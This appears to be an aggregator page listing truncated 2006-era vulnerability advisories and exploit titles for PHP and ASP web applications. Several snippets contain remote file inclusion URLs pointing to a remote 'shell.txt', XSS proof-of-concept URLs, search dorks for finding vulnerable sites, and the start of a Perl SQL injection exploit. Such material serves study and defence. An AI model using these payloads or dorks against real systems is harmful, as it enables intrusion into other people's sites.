PT-2006-5618 · All Enthusiast · Reviewpost

Name of the Vulnerable Software and Affected Versions: All Enthusiast ReviewPost version 2.5 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the RP PATH parameter in the index.php file. Recommendations: For All Enthusiast ReviewPost version 2.5, consider...

CVE-2006-4864: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in All Enthusiast ReviewPost 2.5 allows remote attackers to execute arbitrary PHP code via a URL in the RPPATH parameter...

Somery 0.4.6 - 'skin_dir' Remote File Inclusion

Update: 16:01 09/08/06 Subject: "Somery 0.4skindirRemote File Inclusion Exploit" Vulnerable version: Somery 0.4.6 Operating System: - All OS Vendor URL: Robin de Graaf - [email protected] Somery website - http://somery.danwa.net Description: Somery, also known as the Somery weblogging system...

web3news095rfi.txt

============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ ================================================================================================ Discoverd By : SHiKaA Conatact : SHiKaA-athotmail.com...

Web3news 0.95 - PHPSECURITYADMIN_PATH Remote File Inclusion

Web3news 0.95 - PHPSECURITYADMINPATH Remote File Inclusion ============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ =========================...

Web3news 0.95 - 'PHPSECURITYADMIN_PATH' Remote File Inclusion

============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ ================================================================================================ Discoverd By : SHiKaA Conatact : SHiKaA-athotmail.com...

CVE-2006-4367

The CVE-2006-4367 issue affects phpBB 2.0.21 with the All Topics Hack 1.5.0 and earlier, where alltopics.php is vulnerable to SQL injection via the start parameter. The underlying cause is an insecure handling of the start input, enabling an attacker to manipulate SQL execution remotely. Public r...

CVE-2006-4367

SQL injection vulnerability in alltopics.php in the All Topics Hack 1.5.0 and earlier for phpBB 2.0.21 allows remote attackers to execute arbitrary SQL commands via the start parameter...

CVE-2006-4367: Undefined Security Weakness

SQL injection vulnerability in alltopics.php in the All Topics Hack 1.5.0 and earlier for phpBB 2.0.21 allows remote attackers to execute arbitrary SQL commands via the start parameter...

phpBB All Topics Mod 1.5.0 - start SQL Injection

phpBB All Topics Mod 1.5.0 - start SQL Injection !/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID =...

phpBB All Topics Mod 1.5.0 - 'start' SQL Injection

!/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID = Number: = ; $user = ; chop $user; if !$ARGV2...

artlinks.txt

artlinks Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : artlinks Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"comartlinks" http://www.site.com/components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

mambatstaff.txt

mambatstaff Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : mambatstaff Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"commambatstaff" http://www.site.com/components/commambatstaff/mambatstaff.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

PHP iCalendar Cross Site Scripting

K.S Advisory irc.gigachat.net kurdhack Thanx : Netqurd,Azad,B3g0k,Fearless,Milex,Flot,ZayBoy,PH,KHA,KCA and other my friends Version : All Version Proof Of Concept : http://www.site.com/phpicalendar/rss/index.php?cal=XSS Original Advisory :...

onedotoh.txt

vendor: http://onedotoh.sourceforge.net version : all version :D ! exploit: http://www.xxx.xom/fm/index.php?msg=xxs ++++++...

qtofm.txt

+vendor : http://www.qto.com +poral : qto file manager +version : All version ! Exploit: +http://www.xxx.xom/qto/index.php?msg=xss...

onedotoh xss atack

vendor: http://onedotoh.sourceforge.net version : all version :D ! exploit: http://www.xxx.xom/fm/index.php?msg=xxs ++++++...

qtofilemanager xss attack !

+vendor : http://www.qto.com +poral : qto file manager +version : All version ! Exploit: +http://www.xxx.xom/qto/index.php?msg=xss...

Privilege escalation using addSelectionListener — Mozilla

Web content could access the nsISelectionPrivate interface of the Selection object and use it to add a SelectionListener. The listener would be called when the user did a "Find" on the page or a "select all", and as intended this shouldn't cause any problems. But as with escaping the PAC sandbox ...

# MHG Security Team --- OzzyWork Gallery SQL Injection

Milli-Harekat Advisory www.milli-harekat.org OzzyWork Galeri Admin SQL Injection Risk : High Script : OzzyWork Gallery All Version Credits : Dj ReMix Thanks : y Korsan , ESKOBAR , Poizonb0x , TRIP OzzyWork Gallery Admin Page's www.victim.com/Ozzywork Path /admindefault.asp Login and password : 'o...